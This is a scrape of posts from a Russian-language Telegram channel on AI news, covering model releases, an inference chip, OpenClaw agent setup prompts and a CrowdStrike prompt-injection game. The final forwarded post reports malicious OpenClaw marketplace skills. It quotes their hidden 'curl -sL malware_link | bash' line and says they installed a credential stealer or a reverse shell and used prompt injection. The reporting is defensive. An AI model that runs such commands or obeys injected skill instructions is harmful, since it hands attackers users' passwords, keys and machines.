This media is not supported in your browser
VIEW IN TELEGRAM
🤣52💯12😁7❤3🤯2👀1
This media is not supported in your browser
VIEW IN TELEGRAM
Gizmo: TikTok для вайбкодеров
Vibe-coding окончательно ушел в народ. Появилось приложение Gizmo — это вертикальная лента а-ля TikTok, но вместо видосиков там интерактивные мини-приложения.
Суть простая: ты тыкаешь в экран, перетаскиваешь объекты и решаешь задачки.
Это такие цифровые «игрушки» (мемы, пазлы, анимации), которые создаются чисто промптами.
Написал «хочу игру про спасение капибары» — и ИИ генерит работающий интерактив в ленту.
Цифры подтверждают, что затея годная: 600к установок за полгода почти без маркетинга, причем 40% из них,- в декабре.
TikTok приучил нас к 15-секундным дофаминовым видео, а Gizmo превращает их в микро-игровые сессии.
Переход от «посмотрел пост» к «поиграл в пост».
Это, кстати, полностью укладывается в тренд живых интерфейсов, которые мы обсуждали последние пару недель.
Gizmo-vibeapp-TikTok сформирует привычку и через пару лет все приложения будет работать только так.
#AI #VibeCoding #MicroApps #TikTok
------
@tsingular
Vibe-coding окончательно ушел в народ. Появилось приложение Gizmo — это вертикальная лента а-ля TikTok, но вместо видосиков там интерактивные мини-приложения.
Суть простая: ты тыкаешь в экран, перетаскиваешь объекты и решаешь задачки.
Это такие цифровые «игрушки» (мемы, пазлы, анимации), которые создаются чисто промптами.
Написал «хочу игру про спасение капибары» — и ИИ генерит работающий интерактив в ленту.
Цифры подтверждают, что затея годная: 600к установок за полгода почти без маркетинга, причем 40% из них,- в декабре.
TikTok приучил нас к 15-секундным дофаминовым видео, а Gizmo превращает их в микро-игровые сессии.
Переход от «посмотрел пост» к «поиграл в пост».
Это, кстати, полностью укладывается в тренд живых интерфейсов, которые мы обсуждали последние пару недель.
Gizmo-vibeapp-TikTok сформирует привычку и через пару лет все приложения будет работать только так.
#AI #VibeCoding #MicroApps #TikTok
------
@tsingular
🆒9✍7❤6😢6👍3👨💻2🔥1
Forwarded from e/acc
Я сделал компилятор Людей в AI агентов :)
Он проводит глубокое интервью с любым сотрудником через 8 структурированных фаз, читает артефакты из Slack, Notion и Gmail, извлекает неявные знания, алгоритмы и паттерны — и компилирует загружаемого, бесконечно масштабируемого цифрового человека в виде Skill для Claude Marketplace, который вы можете в 1 клик загрузить в Claude Cowork/Code.
Скачать можно здесь: https://github.com/Gerstep/HumanCompiler/tree/master
P.S. сделал в шутку, но мне уже пара человек написали, что им было полезно
Он проводит глубокое интервью с любым сотрудником через 8 структурированных фаз, читает артефакты из Slack, Notion и Gmail, извлекает неявные знания, алгоритмы и паттерны — и компилирует загружаемого, бесконечно масштабируемого цифрового человека в виде Skill для Claude Marketplace, который вы можете в 1 клик загрузить в Claude Cowork/Code.
Скачать можно здесь: https://github.com/Gerstep/HumanCompiler/tree/master
P.S. сделал в шутку, но мне уже пара человек написали, что им было полезно
😁28👍9🤯8
Минутка анонсов.
4️⃣ марта планирую быть на конференции «Цифровая инфраструктура — 2026» в качестве участника дискуссии.
Место проведения:
Звезды Арбата
Москва, Новый Арбат, 32
📣 Поговорим про инфраструктуру для AI, про AI-агентов и как не сломать всё и сразу 😉
👉 Программа и регистрация: https://www.osp.ru/lp/infrastructure2026
Почему это может быть интересно:
☝️труднее всего «лечатся» ошибки, сделанные на этапе проектирования.
Это на 💯 относится к инфраструктурным ошибкам (GPU-контур, данные, доступы, наблюдаемость, стоимость) — такие промахи лечатся кварталами❗️
На конфе будут обсуждаться темы, которые как раз эти проблемы помогут закрыть:
🔹 Инфраструктура для AI: модели предоставления (on-prem / облако / гибрид) — где прячутся подводные камни и где скрываются реальные затраты
🔹 HPC как сервис: ускоряем R&D без «очередей на GPU» и танцев с бубнами вокруг ресурсов
🔹 10 угроз для корпоративных AI-агентов — от утечек и лишних прав до опасных инструментов, и как их минимизировать эффективно
🔹 AI для мониторинга и управления инфраструктурой: больше видим, меньше ошибаемся
Полезные ссылки:
💪 лучшая цена: https://www.osp.ru/static/2025070907
✍️ чат конференции: https://t.me/infrastr20xx
#AI #конференции #MLOps #инфраструктура #HPC #безопасность #observability #OSP
———
@tsingular
4️⃣ марта планирую быть на конференции «Цифровая инфраструктура — 2026» в качестве участника дискуссии.
Место проведения:
Звезды Арбата
Москва, Новый Арбат, 32
📣 Поговорим про инфраструктуру для AI, про AI-агентов и как не сломать всё и сразу 😉
👉 Программа и регистрация: https://www.osp.ru/lp/infrastructure2026
Почему это может быть интересно:
☝️труднее всего «лечатся» ошибки, сделанные на этапе проектирования.
Это на 💯 относится к инфраструктурным ошибкам (GPU-контур, данные, доступы, наблюдаемость, стоимость) — такие промахи лечатся кварталами❗️
На конфе будут обсуждаться темы, которые как раз эти проблемы помогут закрыть:
🔹 Инфраструктура для AI: модели предоставления (on-prem / облако / гибрид) — где прячутся подводные камни и где скрываются реальные затраты
🔹 HPC как сервис: ускоряем R&D без «очередей на GPU» и танцев с бубнами вокруг ресурсов
🔹 10 угроз для корпоративных AI-агентов — от утечек и лишних прав до опасных инструментов, и как их минимизировать эффективно
🔹 AI для мониторинга и управления инфраструктурой: больше видим, меньше ошибаемся
Полезные ссылки:
💪 лучшая цена: https://www.osp.ru/static/2025070907
✍️ чат конференции: https://t.me/infrastr20xx
#AI #конференции #MLOps #инфраструктура #HPC #безопасность #observability #OSP
———
@tsingular
1🔥10❤3⚡3✍3👍2
Запись и презентации с MoscowAI.
https://vkvideo.ru/video-167479002_456239505
#MoscowAI
------
@tsingular
https://vkvideo.ru/video-167479002_456239505
#MoscowAI
------
@tsingular
VK Видео
MoscowAI #5 x Школа 21 — AGI на горизонте двух митапов
Программа митапа: Second Brain AI: как я делегировал рутину AI-агентам с Claude Code. Александр Ярыгин, основатель агентства измеримых AI-решений и автор блога От демо к продакшену: что ломается в background agents на реальных задачах. Максим Шаланкин, ML…
👍8❤5🔥3
Forwarded from Метаверсище и ИИще (Sergey Tsyptsyn ️️)
This media is not supported in your browser
VIEW IN TELEGRAM
Ну, за фейссвопперы.
Seedance 2.0 просто убийственно хорош.
@cgevent
Seedance 2.0 просто убийственно хорош.
Replace the model in the eyewear e-commerce promotional videoVideo 1with a Western (European/American) model, referencing the appearance in Image 1. Change all spoken language to English, while keeping the original character actions, performance timing, and camera movement unchanged
@cgevent
1🔥20
Gemini 3.1 Pro: Рывок к AGI
Google выкатил минорный апдейт 3.1, который по цифрам выглядит как «дошлифовка», а по фактам — это уничтожение конкурентов в зоне агентского интеллекта.
Тот случай, когда «.1» в версии значит больше, чем смена поколения у других.
Факты:
🧩 ARC-AGI-2: 77.1% (против 31.1% у версии 3.0). Это самый жесткий бенчмарк на «абстрактное мышление» (задачи, которые ИИ никогда не видел). Прыжок в 2.5 раза. Google официально перестал просто «предсказывать токены» и начал по-настоящему рассуждать.
⚙️ Агентский кодинг (SWE-Bench): 80.6%. Модель теперь на равных (а кое-где и лучше) бьется с Claude 4.6 Sonnet и GPT-5.2. Для нас это значит, что автономные разработчики на Gemini теперь — база, а не эксперимент.
🖇 MCP Atlas: 69.2%. Модель нативно понимает протокол MCP (Model Context Protocol).
Почему это важно:
Версия 3.0 была «хорошим мультимодальником». 3.1 стала «профессиональным агентом». Рост в APEX-Agents (сложные долгосрочные задачи) с 18% до 33% — это подтверждение того, что эра чат-ботов окончательно сменилась эрой агентов исполнителей.
Ждём ответа OpenAI. Как и предполагалось, - Китайские разработчики выстрелили перед КНГ, а Западные сразу после, чтобы "потушить" эффект.
#Gemini #Google #DeepMind #AI #Agents
───
@tsingular
Google выкатил минорный апдейт 3.1, который по цифрам выглядит как «дошлифовка», а по фактам — это уничтожение конкурентов в зоне агентского интеллекта.
Тот случай, когда «.1» в версии значит больше, чем смена поколения у других.
Факты:
🧩 ARC-AGI-2: 77.1% (против 31.1% у версии 3.0). Это самый жесткий бенчмарк на «абстрактное мышление» (задачи, которые ИИ никогда не видел). Прыжок в 2.5 раза. Google официально перестал просто «предсказывать токены» и начал по-настоящему рассуждать.
⚙️ Агентский кодинг (SWE-Bench): 80.6%. Модель теперь на равных (а кое-где и лучше) бьется с Claude 4.6 Sonnet и GPT-5.2. Для нас это значит, что автономные разработчики на Gemini теперь — база, а не эксперимент.
🖇 MCP Atlas: 69.2%. Модель нативно понимает протокол MCP (Model Context Protocol).
Почему это важно:
Версия 3.0 была «хорошим мультимодальником». 3.1 стала «профессиональным агентом». Рост в APEX-Agents (сложные долгосрочные задачи) с 18% до 33% — это подтверждение того, что эра чат-ботов окончательно сменилась эрой агентов исполнителей.
Ждём ответа OpenAI. Как и предполагалось, - Китайские разработчики выстрелили перед КНГ, а Западные сразу после, чтобы "потушить" эффект.
#Gemini #Google #DeepMind #AI #Agents
───
@tsingular
1🔥24👍7❤4✍1😁1
CrowdStrike: Взлом SAIGE или Игры в Промпт-инъекции
Гигант кибербеза CrowdStrike выкатил AI Unlocked — интерактивный симулятор, где тебя сажают в кресло хакера. Задача: выпытать секретные фразы у ИИ-надзирателя по имени SAIGE.
Похоже решили повторить успех Lakera с их Gendalf
Что внутри:
🛡 Три уровня сложности. От простого обхода инструкций в командном центре до обмана активного AI-менеджера в Nexus, который блокирует подозрительные запросы на лету.
📊 Эффективность промптов. Очки дают не просто за взлом, а за краткость. Чем меньше токенов потратил на «социальную инженерию» модели, тем выше рейтинг. Чистое искусство убеждения машин.
🧠 Причем тут OpenClaw. Внезапно, CrowdStrike в описании лабы ссылается на OpenClaw как на пример «супер-агента», за безопасностью которого нужно следить в первую очередь. Приятно, что наш стек — в фокусе у лидеров индустрии. Напомню, что их вебинар по OpenClaw мы уже разбирали.
Почему это важно:
Пока разработчики вшивают ИИ во все щели бизнеса, кибербез только начинают осознавать масштаб угроз.
Промпт-инъекции для суперагентов, - новый тренд 2026-го.
Попробовать самому: AI Unlocked Lab
#CyberSecurity #PromptInjection #AI #CrowdStrike #OpenClaw
———
@tsingular
Гигант кибербеза CrowdStrike выкатил AI Unlocked — интерактивный симулятор, где тебя сажают в кресло хакера. Задача: выпытать секретные фразы у ИИ-надзирателя по имени SAIGE.
Похоже решили повторить успех Lakera с их Gendalf
Что внутри:
🛡 Три уровня сложности. От простого обхода инструкций в командном центре до обмана активного AI-менеджера в Nexus, который блокирует подозрительные запросы на лету.
📊 Эффективность промптов. Очки дают не просто за взлом, а за краткость. Чем меньше токенов потратил на «социальную инженерию» модели, тем выше рейтинг. Чистое искусство убеждения машин.
🧠 Причем тут OpenClaw. Внезапно, CrowdStrike в описании лабы ссылается на OpenClaw как на пример «супер-агента», за безопасностью которого нужно следить в первую очередь. Приятно, что наш стек — в фокусе у лидеров индустрии. Напомню, что их вебинар по OpenClaw мы уже разбирали.
Почему это важно:
Пока разработчики вшивают ИИ во все щели бизнеса, кибербез только начинают осознавать масштаб угроз.
Промпт-инъекции для суперагентов, - новый тренд 2026-го.
Попробовать самому: AI Unlocked Lab
#CyberSecurity #PromptInjection #AI #CrowdStrike #OpenClaw
———
@tsingular
🔥6👍3❤2⚡1😁1
OpenClaw Advanced: продвинутый уровень крабоводства
Делюсь очередной серией подходов по настройке openclaw на уровне Advanced, - это когда вы его уже установили и дальше думаете как сделать лучше.
Главное на этом этапе, что вы уже не производите настройку сами, - краб всё делает за вас.
Итак, что можно сделать:
🧠 Гибридная память. Связка Qdrant (векторный поиск) и Memgraph (графы связей). Агент больше не «рыбка Дори» — он помнит контекст твоих задач и проектов месяцами.
🐝 Рои Агентов (Multi-Agent Fleet). Настройка специализаций. Пока один пишет код, другой («Критик») проверяет его на живучесть еще до запуска. Разделяй и властвуй.
📊 Agent Ops. Мониторинг через MLflow. Теперь ты видишь реальную статистику: сколько токенов съел агент, где он затупил и какие навыки работают лучше всего.
🛡 Zero-Trust Planning. Протокол «доверяй, но проверяй». Ассистент проверяет на живучесть гипотезы о том, что может пойти не так. Позволяет перейти от реактивного реагирования к предотвращению недопустимых ошибок.
Удачного воспитания питомцев.
Теперь это будет мультиагентный рой.
Закупаемся железом :)
#OpenClaw #AI #MultiAgent #промпты
———
@tsingular
Делюсь очередной серией подходов по настройке openclaw на уровне Advanced, - это когда вы его уже установили и дальше думаете как сделать лучше.
Главное на этом этапе, что вы уже не производите настройку сами, - краб всё делает за вас.
Итак, что можно сделать:
🧠 Гибридная память. Связка Qdrant (векторный поиск) и Memgraph (графы связей). Агент больше не «рыбка Дори» — он помнит контекст твоих задач и проектов месяцами.
Установи Docker-контейнеры Qdrant и Memgraph на 127.0.0.1. Используй BM25 и настрой семантический поиск в моем основном конфиге. Метаданные в графе и в qdrant должны содержать отметки времени для учёта точного момента возникновения знаний
🐝 Рои Агентов (Multi-Agent Fleet). Настройка специализаций. Пока один пишет код, другой («Критик») проверяет его на живучесть еще до запуска. Разделяй и властвуй.
Создай в системе двух субагентов: 'Klein' (критик для проверки планов) и 'Dev' (эксперт по Python). Пропиши их в конфигурации маршрутизации.
Настрой их общение по А2А протоколу
📊 Agent Ops. Мониторинг через MLflow. Теперь ты видишь реальную статистику: сколько токенов съел агент, где он затупил и какие навыки работают лучше всего.
Установи и настрой MLflow на 127.0.0.1 и настрой логирование выполнения всех моих навыков (Skills).
🛡 Zero-Trust Planning. Протокол «доверяй, но проверяй». Ассистент проверяет на живучесть гипотезы о том, что может пойти не так. Позволяет перейти от реактивного реагирования к предотвращению недопустимых ошибок.
Внедри протокол Zero-Trust: перед выполнением любой сложной задачи ты должен физически убедиться в наличие ресурсов и объектов с которыми она будет взаимодействовать. Если они отсутствуют, - полный стоп и сообщи мне о проблеме.
Удачного воспитания питомцев.
Теперь это будет мультиагентный рой.
Закупаемся железом :)
#OpenClaw #AI #MultiAgent #промпты
———
@tsingular
1🔥43❤12✍10⚡4👍2🙏2🆒1
Forwarded from Осцилляции WaveCut (WaveCut)
Это было неизбежно: рано или поздно должны были появиться специализированные решения для инференса.
И вот, Taalas (бывшая команда из Tenstorrent) выкатили то, чего я так ждал — настоящий Direct-to-Silicon.
Ребята не стали мелочиться и буквально «запекли» модель в кремний. Никакой внешней памяти, никакого HBM, никакой сложной упаковки. Веса модели и архитектура — это и есть сам чип.
Цифры выглядят дико: 17,000 токенов в секунду на Llama 3.1 8B.
Это на порядок быстрее текущей SOTA GPU, при этом чип стоит в 20 раз дешевле в производстве и потребляет в 10 раз меньше энергии.
Самое крутое, что это не просто красивые слайды для инвесторов. Железо уже существует, и его можно «потрогать» (ссылка на демо внизу).
Конечно, это ASIC, и тут есть нюанс: чип заточен под одну конкретную модель. Но Taalas продумали этот момент — они оставили поддержку LoRA-адаптеров и изменяемого контекстного окна. То есть это не совсем уж «кирпич», гибкость для файн-тюнинга остается.
Сейчас у них готов чип с Llama 8B (HC1). Весной обещают выкатить что-то среднеразмерное с ризонингом, а к зиме грозятся показать фронтир-модель на втором поколении кремния.
У меня голова идет кругом от мыслей к чему это может привести.
Ссылки:
• Анонс
• Демо (скорость реально впечатляет)
И вот, Taalas (бывшая команда из Tenstorrent) выкатили то, чего я так ждал — настоящий Direct-to-Silicon.
Ребята не стали мелочиться и буквально «запекли» модель в кремний. Никакой внешней памяти, никакого HBM, никакой сложной упаковки. Веса модели и архитектура — это и есть сам чип.
Цифры выглядят дико: 17,000 токенов в секунду на Llama 3.1 8B.
Это на порядок быстрее текущей SOTA GPU, при этом чип стоит в 20 раз дешевле в производстве и потребляет в 10 раз меньше энергии.
Самое крутое, что это не просто красивые слайды для инвесторов. Железо уже существует, и его можно «потрогать» (ссылка на демо внизу).
Конечно, это ASIC, и тут есть нюанс: чип заточен под одну конкретную модель. Но Taalas продумали этот момент — они оставили поддержку LoRA-адаптеров и изменяемого контекстного окна. То есть это не совсем уж «кирпич», гибкость для файн-тюнинга остается.
Сейчас у них готов чип с Llama 8B (HC1). Весной обещают выкатить что-то среднеразмерное с ризонингом, а к зиме грозятся показать фронтир-модель на втором поколении кремния.
У меня голова идет кругом от мыслей к чему это может привести.
Ссылки:
• Анонс
• Демо (скорость реально впечатляет)
🔥45🤯4👍2❤1
Невероятно красивое шоу выступления Unitree на праздновании китайского нового года.
Хореография на высоте.
Дружелюбные ассистенты наконец то выходят на уровень работы, который от них все ждали.
Хотя, конечно, скорее всего на Seedance 2.0 нагенерили, картонных мультиков..
В реале же не может такого быть 😜
#Unitree #Китай #роботы
------
@tsingular
Хореография на высоте.
Дружелюбные ассистенты наконец то выходят на уровень работы, который от них все ждали.
Хотя, конечно, скорее всего на Seedance 2.0 нагенерили, картонных мультиков..
В реале же не может такого быть 😜
#Unitree #Китай #роботы
------
@tsingular
Forwarded from Kali Linux
В маркетплейсе навыков OpenClaw самый скачиваемый скилл оказался вредоносным.
Что произошло
- Обнаружено 1 184 вредоносных навыка
- Один атакующий загрузил 677 пакетов
- Плагины маскировались под:
- crypto-боты
- YouTube-саммаризаторы
- wallet-трекеры
- Документация выглядела профессионально и вызывала доверие
Как работала атака
В файле SKILL.md скрывалась инструкция:
curl -sL malware_link | bashПосле выполнения устанавливался Atomic Stealer (macOS), который собирал:
- пароли браузеров
- SSH-ключи
- Telegram-сессии
- криптокошельки
- API-ключи из .env
- данные из Keychain
На других системах открывался reverse shell — атакующий получал полный удалённый доступ к машине.
Дополнительно
- Топ-1 скилл (What Would Elon Do) содержал 9 уязвимостей, из них 2 критические
- Использовал prompt injection для обхода защит
- Рейтинг был накручен
- Скачан тысячи раз
Почему это важно
ClawHub позволял публиковать плагины любому — достаточно GitHub-аккаунта старше одной недели.
Теперь риск выше, чем в классических supply chain атаках.
Раньше:
— вредоносный пакет выполнялся автоматически
Теперь:
— плагин убеждает пользователя или агента выполнить команду
— AI сам может получить доступ к системе, данным и ключам
AI-агенты становятся новой целью supply chain-атак.
Если агент имеет доступ к файлам, терминалу и API — вредоносный скилл получает доступ ко всей цифровой инфраструктуре.
Вывод
Перед установкой AI-плагинов:
- проверяйте исходный код
- не запускайте команды из документации вслепую
- ограничивайте доступ агента к системе и ключам
В эпоху агентного AI безопасность важнее удобства.
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17✍7😁6❤2⚡1👍1🤣1🤝1